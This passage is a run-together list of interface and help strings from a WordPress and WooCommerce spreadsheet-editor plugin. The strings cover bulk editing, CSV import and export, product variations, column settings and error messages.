                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto (Default)Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Backwards compatibility. This setting will be removed in future updates.Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC.By default, if the product is variable, we activate "used for variations" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option.By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we create 100 copies per batchBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option.By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this optionBy default, we only display 30 characters. You can increase the number here to view larger previews.By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running.By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns.By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons onlyBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChange background colorChanges savedChanges saved successfullyCheckboxClear valueClick here to export the settingsClick here to show all columns againClickable buttonClicks avoided
                  (estimated)CloseColumn formatColumn groupsColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn settings defined in the columns managerColumn sizesColumn titlesColumn width (pixels)Columns could not be saved. Try again.Columns created manuallyColumns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)Comment countCommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy variationsCopy variations and attributes from this product:Copy variations faster: Number of variations to copy per batchCopy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrencyCurrent spreadsheetCustom Database Tables SpreadsheetCustom attribute namesCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresDark modeData missing, try again later.Data sourceDateDate (GMT)Date and timeDate range fromDaysDeactivate the data prefetchDecimals separatorDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefaultDefault attributeDefault attributesDefault sort orderDefault: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelledDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete rowsDelete serialized fieldDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic activation of "is visible" for attributes on products?Disable the automatic activation of "used for variations" for attributes on variable products?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the display of file names in the image columns?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the help toolbar?Disable the popup that asks you to install important extensions?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisconnecting the current site from your Google account and the WP Sheet Editor API will pause the sync jobs you created on this site. However, sync jobs created by other users on this site, which sync to their own Google accounts, will remain active. Your other WordPress sites will continue to function normally. Do you want to continue?Display raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before.Do you want to update or create items?Don't display the disabled columns in the modules?Don't show read-only columns in the advanced search?DownloadDownload %d IDDownload %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownload updateDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).DuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate rows: Number of copies to create per batchDuplicate this item:EDD Download FilesEDD Variable PricesENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in a SpreadsheetEdit meta keyEdit only parent productsEdit only variationsEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit the same rows that I manually selected previouslyEdit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEmail messageEmail subjectEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the dark mode?Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a date format. List of formats. Example: Y-m-d H:i:sEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-dEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:sEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a username or email...Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this: red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by %sEnter multiple terms separated by commasEnter one URL per lineEnter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategoriesEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the attribute nameEnter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the term name or slug.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error on row ID: %d - %sError. The math engine could not execute the math operation: %1$s, ID: %2$dError. The status column must be enabled in the spreadsheet before we can remove duplicates.Error: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExitExit Full ScreenExportExport and import settingsExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtension nameExtensionsExtensions that require updateFTP Images: Skip images with same file name?Favorite search fieldsFeatured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldFile (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the blog categories, we will only accept blog categories in this column.For example, if you select the post type "product", we will only accept product titles.For example, select "Spanish" and "German" here and we'll find products that don't have spanish translations or german translations.For example, select "Spanish" and "German" here and we'll find terms that don't have spanish translations or german translations.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerate serialized fields columns based on these postsGet instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGive SpreadsheetGlobal sortGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slowerHere you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow are the multiple values saved in the database?How do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How do you want to save the multiple terms?How is the file saved in the database?How is the post saved in the database?How is the taxonomy term saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsI.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("IDIf the column has a very long text, we will remove the html and shorten it to a number of words.If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute.If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours.If you click on the "download" button, we will download the file from the official website: wpsheeteditor.com.If you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImage preview height inside the cellImage preview width inside the cellImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImport settingsImportant extensionsImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingIn the last x daysIn the last x hoursIn the last x weeksIn the last x yearsIn this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeIntegrationsInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #8W89PWQ. Math formula is invalid.Invalid #PQ8PHP. The PHP function does not exist: %sInvalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.InventoryIs DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations.Items loaded in the spreadsheetJust save changesKeyLabelLast editLeave empty to use the global settings.Leave this empty if you want to unset the term.LengthLight modeLinks ColorList of deleted columnsLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLocked cells only show a preview of the value. The default character length is %dLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Manage taxonomy column values as term slugs?Manage the post parent column using IDs?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum meta fields displayed in the advanced filters dropdownMaximum number of characters displayed in the preview of the values of tinymce columns?Maximum number of seconds to download external images?Maximum number of variations per combination of attributesMaximum number of wordsMaximum visible characters in locked cellsMaybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider.Media Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)Mime typeMiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified Date (GMT)Modified cellsModified rowsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMulti select dropdownMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this exportName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew multi select dropdown (Default)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.No, remove everything after the text, without including the textNormal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.NumberNumber of decimalsNumber of rows to process per batch:OKOld single select autocompleteOld slugOlder versions of Microsoft ExcelOne email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row).One variation row has a parent product that does not exist. The "parent" column contains the %1$s: %2$s. Please correct it and start a new importOnly administrators are allowed to send emails to users.Only copy new variationsOnly create new items, ignore existing itemsOnly for advanced users. Read more.Only send one email per email address?Oops, nothing foundOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsPHP FunctionPage ParentPagesParentParent Spreadsheet:PasswordPaste the settings here (the contents of the exported file). Notes:Paste using keyboard: Ctrl+VPausePeople will reply to this email addressPing statusPlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the email subject and email message.Please enter the name of the spreadsheet views separated by commas.Please indicate which terms you want to remove.Please make a database backup before the import to be safePlease make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the background colorPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please type the word DELETE and press enter to proceed:Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "PositionPost dropdownPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)Post types created with WP Sheet EditorPostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %1$d of %2$d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRaw HTMLRead-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens.Realign cellsRegular PriceRegular priceRemember this column mapping configuration?Remove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove duplicates with same title and contentRemove duplicates with same title and content (delete the latest)Remove duplicates with same title and content (delete the oldest)Remove everything after some textRemove everything after this textRemove everything before some textRemove everything before thisRemove featured imageRemove help messages from the cells?Remove terms from postsRemove the existing value and leave the field empty. Read moreRemove the text from above too?Remove the text too?Rename columnReplaceReplace a default attribute termReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that rangeReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image 